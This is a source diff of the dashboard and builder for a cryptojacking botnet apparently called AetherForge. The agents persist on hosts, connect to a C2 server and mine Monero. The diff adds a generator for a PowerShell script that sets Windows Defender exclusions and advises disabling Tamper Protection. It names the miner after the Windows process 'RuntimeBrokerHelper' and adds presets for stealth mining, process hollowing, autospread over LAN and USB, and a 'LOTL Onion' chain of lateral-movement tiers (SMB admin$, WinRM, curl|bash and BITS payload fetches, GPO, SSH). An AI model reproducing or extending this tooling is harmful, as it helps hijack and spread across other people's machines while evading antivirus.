...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
|
||||
...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
|
||||
...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
|
||||
...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
|
||||
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
|
||||
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
|
||||
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
||||
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
||||
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
/** Apply one or many stats updates in a single pass (batch-friendly). */
|
||||
export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
|
||||
if (updates.length === 0) return agents;
|
||||
const byId = new Map(updates.map((u) => [u.agent_id, u]));
|
||||
let changed = false;
|
||||
const next = agents.map((a) => {
|
||||
const u = byId.get(a.id);
|
||||
if (!u || agentStatsUnchanged(a, u)) return a;
|
||||
changed = true;
|
||||
return mergeAgentStats(a, u);
|
||||
});
|
||||
return changed ? next : agents;
|
||||
}
|
||||
@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
|
||||
'/settings',
|
||||
'/forge',
|
||||
'/builds',
|
||||
'/agents',
|
||||
'/crucible',
|
||||
'/dashboard',
|
||||
]);
|
||||
for (const step of routed) {
|
||||
|
||||
@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
title: 'Connect',
|
||||
subtitle: 'Agent phones home',
|
||||
icon: '🔗',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
|
||||
route: '/agents',
|
||||
routeLabel: 'Fleet Roster',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
|
||||
route: '/crucible',
|
||||
routeLabel: 'Crucible',
|
||||
tips: [
|
||||
'Status dot: green = online now, grey = last seen X ago',
|
||||
'Remote action buttons are disabled when the agent is offline — by design',
|
||||
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
'C2 server URL (LAN http://IP:8989)',
|
||||
'Wallet address & payment ID',
|
||||
'Pool host, port, TLS on/off, pool password',
|
||||
'Worker name (shows in Fleet Roster)',
|
||||
'Worker name (shows in Crucible node roster)',
|
||||
'Thread count + thread mode (fixed / percent / adapt)',
|
||||
'CPU/RAM usage caps & idle detection',
|
||||
'Mining schedule (start/end time window)',
|
||||
@@ -328,7 +328,7 @@ ollama run llama3.2`,
|
||||
|
||||
export const TROUBLESHOOTING = [
|
||||
{
|
||||
problem: 'Agent never appears in Fleet Roster',
|
||||
problem: 'Agent never appears in Crucible',
|
||||
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
|
||||
},
|
||||
{
|
||||
|
||||
26
server/web/src/help/defenderExclusion.test.ts
Normal file
26
server/web/src/help/defenderExclusion.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
|
||||
|
||||
describe('defenderExclusion', () => {
|
||||
it('builds elevated PowerShell with path and process exclusions', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\ProgramData\\AetherForge\\worker",
|
||||
processName: 'RuntimeBrokerHelper',
|
||||
});
|
||||
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
||||
expect(script).toContain('RuntimeBrokerHelper.exe');
|
||||
expect(script).toContain('Tamper Protection');
|
||||
});
|
||||
|
||||
it('escapes single quotes in paths', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\O'Brien\\miner",
|
||||
processName: 'worker',
|
||||
});
|
||||
expect(script).toContain("C:\\O''Brien\\miner");
|
||||
});
|
||||
|
||||
it('provides default install preview', () => {
|
||||
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
|
||||
});
|
||||
});
|
||||
57
server/web/src/help/defenderExclusion.ts
Normal file
57
server/web/src/help/defenderExclusion.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
/** Generate a PowerShell script operators run manually to add Defender exclusions. */
|
||||
|
||||
export interface DefenderExclusionOptions {
|
||||
/** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
|
||||
installPath: string;
|
||||
/** Process name without .exe, e.g. RuntimeBrokerHelper */
|
||||
processName: string;
|
||||
}
|
||||
|
||||
function psEscapeSingleQuoted(value: string): string {
|
||||
return value.replace(/'/g, "''");
|
||||
}
|
||||
|
||||
export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
|
||||
const installPath = psEscapeSingleQuoted(opts.installPath.trim());
|
||||
const processName = psEscapeSingleQuoted(opts.processName.trim());
|
||||
const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
|
||||
|
||||
return `# AetherForge — Windows Defender exclusions
|
||||
# Run elevated (Administrator). Review before executing.
|
||||
# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||
Write-Warning 'Re-run this script as Administrator.'
|
||||
}
|
||||
|
||||
$paths = @(
|
||||
'${installPath}'
|
||||
)
|
||||
$processes = @(
|
||||
'${processExe}'
|
||||
)
|
||||
|
||||
try {
|
||||
Add-MpPreference -ExclusionPath $paths -Force
|
||||
Add-MpPreference -ExclusionProcess $processes -Force
|
||||
Write-Host "Added Defender exclusions for install path and ${processExe}"
|
||||
} catch {
|
||||
Write-Warning $_.Exception.Message
|
||||
}
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Manual checklist if mining still blocked:'
|
||||
Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
|
||||
Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
|
||||
Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
|
||||
Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
|
||||
`;
|
||||
}
|
||||
|
||||
/** Example install path for Calibrate preview (Windows localappdata template). */
|
||||
export function defaultWindowsInstallPreview(workerName = 'worker'): string {
|
||||
const slug = workerName.trim() || 'worker';
|
||||
return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
|
||||
}
|
||||
@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
max_memory_percent: '/docs/#forge-stealth',
|
||||
min_free_ram_mb: '/docs/#forge-stealth',
|
||||
mining_mode: '/docs/#forge-stealth',
|
||||
miner_execution: '/docs/#container-mining',
|
||||
idle_threshold_pct: '/docs/#forge-stealth',
|
||||
idle_duration_minutes: '/docs/#forge-stealth',
|
||||
schedule_start: '/docs/#agent',
|
||||
|
||||
@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'idle',
|
||||
miner_execution: 'auto',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'scheduled',
|
||||
|
||||
@@ -14,13 +14,14 @@ import {
|
||||
describe('forgeMissionWizard', () => {
|
||||
it('defines three ritual wizard steps', () => {
|
||||
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
|
||||
});
|
||||
|
||||
it('maps operation chips to forge modes', () => {
|
||||
expect(operationModeForChip('ghost')).toBe('ghost_walk');
|
||||
expect(operationModeForChip('loud')).toBe('open_flame');
|
||||
expect(operationModeForChip('spread')).toBe('wildfire');
|
||||
expect(operationModeForChip('avsafe')).toBe('av_safe');
|
||||
});
|
||||
|
||||
it('reverse-maps operation modes to wizard chips', () => {
|
||||
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
|
||||
expect(missionChipForMode('open_flame')).toBe('loud');
|
||||
expect(missionChipForMode('wildfire')).toBe('spread');
|
||||
expect(missionChipForMode('crucible_storm')).toBe('spread');
|
||||
expect(missionChipForMode('av_safe')).toBe('avsafe');
|
||||
});
|
||||
|
||||
it('navigates wizard steps forward and back', () => {
|
||||
|
||||
@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
|
||||
launch: 'Launch',
|
||||
};
|
||||
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
|
||||
|
||||
export interface MissionOperationChipDef {
|
||||
id: MissionOperationChip;
|
||||
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
|
||||
modeId: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
|
||||
},
|
||||
{
|
||||
id: 'avsafe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
modeId: 'av_safe',
|
||||
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
|
||||
},
|
||||
];
|
||||
|
||||
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
|
||||
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
|
||||
}
|
||||
|
||||
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
|
||||
if (mode === 'av_safe') return 'avsafe';
|
||||
if (mode === 'open_flame') return 'loud';
|
||||
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
|
||||
return 'ghost';
|
||||
|
||||
@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('forgeOperationModes', () => {
|
||||
it('exposes six colored aether-themed presets', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(6);
|
||||
it('exposes colored aether-themed presets including LOTL Onion', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(8);
|
||||
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
|
||||
'Ghost Walk',
|
||||
'Open Flame',
|
||||
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
|
||||
'Hearth Whisper',
|
||||
'Wildfire',
|
||||
'Crucible Storm',
|
||||
'AV-Safe',
|
||||
'LOTL Onion',
|
||||
]);
|
||||
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
|
||||
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
|
||||
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
|
||||
'aether',
|
||||
'wildfire',
|
||||
'crucible',
|
||||
'aether',
|
||||
'aether',
|
||||
]);
|
||||
expect(skinForOperationMode('wildfire')).toBe('wildfire');
|
||||
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
|
||||
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.hole_punch).toBe(true);
|
||||
expect(next.mesh_p2p).toBe(true);
|
||||
});
|
||||
|
||||
it('applies AV-Safe in-process mining without GPU or spread', () => {
|
||||
const next = applyOperationMode(baseForm(), 'av_safe');
|
||||
expect(next.miner_execution).toBe('inprocess');
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.process_hollowing).toBe(false);
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(false);
|
||||
expect(next.remote_aggressive).toBe(false);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
});
|
||||
|
||||
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
|
||||
const next = applyOperationMode(baseForm(), 'lotl_onion');
|
||||
expect(next.miner_execution).toBe('inprocess');
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(9);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.share_spread).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
|
||||
export type OperationModeId =
|
||||
| 'ghost_walk'
|
||||
@@ -7,7 +8,9 @@ export type OperationModeId =
|
||||
| 'sigil_mask'
|
||||
| 'hearth_whisper'
|
||||
| 'wildfire'
|
||||
| 'crucible_storm';
|
||||
| 'crucible_storm'
|
||||
| 'av_safe'
|
||||
| 'lotl_onion';
|
||||
|
||||
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
||||
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
||||
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
|
||||
mesh_p2p: true,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'av_safe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
skin: 'aether',
|
||||
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'lotl_onion',
|
||||
label: 'LOTL Onion',
|
||||
color: '#38bdf8',
|
||||
skin: 'aether',
|
||||
blurb:
|
||||
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: true,
|
||||
share_spread: true,
|
||||
usb_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
lotl_onion_enabled: true,
|
||||
lotl_policy_from_server: true,
|
||||
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function isOperationModeId(value: string): value is OperationModeId {
|
||||
|
||||
14
server/web/src/help/lotlOnionTiers.test.ts
Normal file
14
server/web/src/help/lotlOnionTiers.test.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
|
||||
describe('lotlOnionTiers', () => {
|
||||
it('lists nine tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
|
||||
});
|
||||
|
||||
it('documents each tier with a one-line hint', () => {
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
|
||||
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
38
server/web/src/help/lotlOnionTiers.ts
Normal file
38
server/web/src/help/lotlOnionTiers.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
||||
|
||||
export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'docker',
|
||||
'wsl',
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
'gpo',
|
||||
] as const;
|
||||
|
||||
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||
|
||||
export interface LotlOnionTierDoc {
|
||||
id: LotlOnionTierId;
|
||||
label: string;
|
||||
/** One-line operator hint for playbook tabs */
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
|
||||
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
|
||||
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
|
||||
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
|
||||
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
|
||||
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
|
||||
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
|
||||
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
|
||||
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
|
||||
];
|
||||
|
||||
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
|
||||
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
/** Map dashboard routes to human-readable page names for comrade presence. */
|
||||
const PAGE_LABELS: Record<string, string> = {
|
||||
'/dashboard': 'Command Deck',
|
||||
'/agents': 'Fleet Roster',
|
||||
'/agents': 'Crucible',
|
||||
'/crucible': 'Crucible',
|
||||
'/forge': 'Forge',
|
||||
'/builder': 'Forge',
|
||||
|
||||
38
server/web/src/help/reconRisk.test.ts
Normal file
38
server/web/src/help/reconRisk.test.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
|
||||
|
||||
describe('reconRisk', () => {
|
||||
it('ipToSubnet derives /24 label', () => {
|
||||
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
|
||||
expect(ipToSubnet('')).toBe('');
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings returns null when empty or all patched', () => {
|
||||
expect(riskFromVulnFindings(undefined)).toBeNull();
|
||||
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings picks highest unpatched severity', () => {
|
||||
const info = riskFromVulnFindings([
|
||||
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
|
||||
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
|
||||
]);
|
||||
expect(info?.level).toBe('high');
|
||||
expect(info?.label).toBe('RISK HIGH');
|
||||
expect(info?.count).toBe(2);
|
||||
expect(info?.title).toContain('CVE-HIGH');
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings maps critical severity', () => {
|
||||
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
|
||||
expect(info?.level).toBe('critical');
|
||||
expect(info?.label).toBe('RISK CRIT');
|
||||
});
|
||||
|
||||
it('joinLaneLabel formats known lanes', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
});
|
||||
88
server/web/src/help/reconRisk.ts
Normal file
88
server/web/src/help/reconRisk.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
import type { VulnFinding } from '../types/recon';
|
||||
|
||||
const SEVERITY_RANK: Record<string, number> = {
|
||||
critical: 5,
|
||||
high: 4,
|
||||
medium: 3,
|
||||
low: 2,
|
||||
info: 1,
|
||||
};
|
||||
|
||||
export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
|
||||
|
||||
export interface RiskBadgeInfo {
|
||||
level: RiskLevel;
|
||||
label: string;
|
||||
count: number;
|
||||
title: string;
|
||||
}
|
||||
|
||||
/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
|
||||
export function ipToSubnet(ip?: string): string {
|
||||
const trimmed = (ip || '').trim();
|
||||
const parts = trimmed.split('.');
|
||||
return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
|
||||
}
|
||||
|
||||
function severityRank(severity?: string): number {
|
||||
if (!severity) return 0;
|
||||
return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
|
||||
}
|
||||
|
||||
/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
|
||||
export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
|
||||
if (!findings?.length) return null;
|
||||
|
||||
const actionable = findings.filter((f) => !f.patched);
|
||||
if (actionable.length === 0) return null;
|
||||
|
||||
let maxRank = 0;
|
||||
let maxSeverity = 'low';
|
||||
let exploitable = 0;
|
||||
for (const f of actionable) {
|
||||
const rank = severityRank(f.severity);
|
||||
if (rank > maxRank) {
|
||||
maxRank = rank;
|
||||
maxSeverity = (f.severity || 'low').toLowerCase();
|
||||
}
|
||||
if (f.exploitable_in_fleet_context) exploitable += 1;
|
||||
}
|
||||
|
||||
const level: RiskLevel =
|
||||
maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
|
||||
|
||||
const cveList = actionable
|
||||
.slice(0, 4)
|
||||
.map((f) => f.cve_id)
|
||||
.join(', ');
|
||||
const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
|
||||
|
||||
return {
|
||||
level,
|
||||
label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
|
||||
count: actionable.length,
|
||||
title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
|
||||
exploitable ? ` · ${exploitable} fleet-context` : ''
|
||||
}\n${cveList}${suffix}`,
|
||||
};
|
||||
}
|
||||
|
||||
const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
winrm: 'WinRM',
|
||||
smb: 'SMB',
|
||||
gpo: 'GPO',
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
linux_lotl: 'Linux LOTL',
|
||||
spread_smb_unc: 'SMB UNC',
|
||||
};
|
||||
|
||||
/** Display label for join_lane funnel tag. */
|
||||
export function joinLaneLabel(lane?: string): string | null {
|
||||
const raw = lane?.trim();
|
||||
if (!raw) return null;
|
||||
const key = raw.toLowerCase();
|
||||
return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
|
||||
}
|
||||
@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'mining_diagnostics',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'mining_diagnostics',
|
||||
'download',
|
||||
'ps',
|
||||
'netstat',
|
||||
|
||||
@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
|
||||
expect(bodies).toContain('Calibrate');
|
||||
expect(bodies).toContain('Forge');
|
||||
expect(bodies).toContain('Command Deck');
|
||||
expect(bodies).toContain('Fleet Roster');
|
||||
expect(bodies).toContain('Crucible');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'forge_simple_mode',
|
||||
'forge_lotl_onion',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sigil_scramble',
|
||||
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
|
||||
'min_free_ram_mb',
|
||||
'cpu_priority',
|
||||
'mining_mode',
|
||||
'miner_execution',
|
||||
'idle_threshold_pct',
|
||||
'idle_duration_minutes',
|
||||
'schedule_start',
|
||||
|
||||
@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
|
||||
},
|
||||
{
|
||||
title: '4. Watch the fleet',
|
||||
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
|
||||
body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
|
||||
},
|
||||
];
|
||||
|
||||
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_operation_mode:
|
||||
'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
forge_path_forge:
|
||||
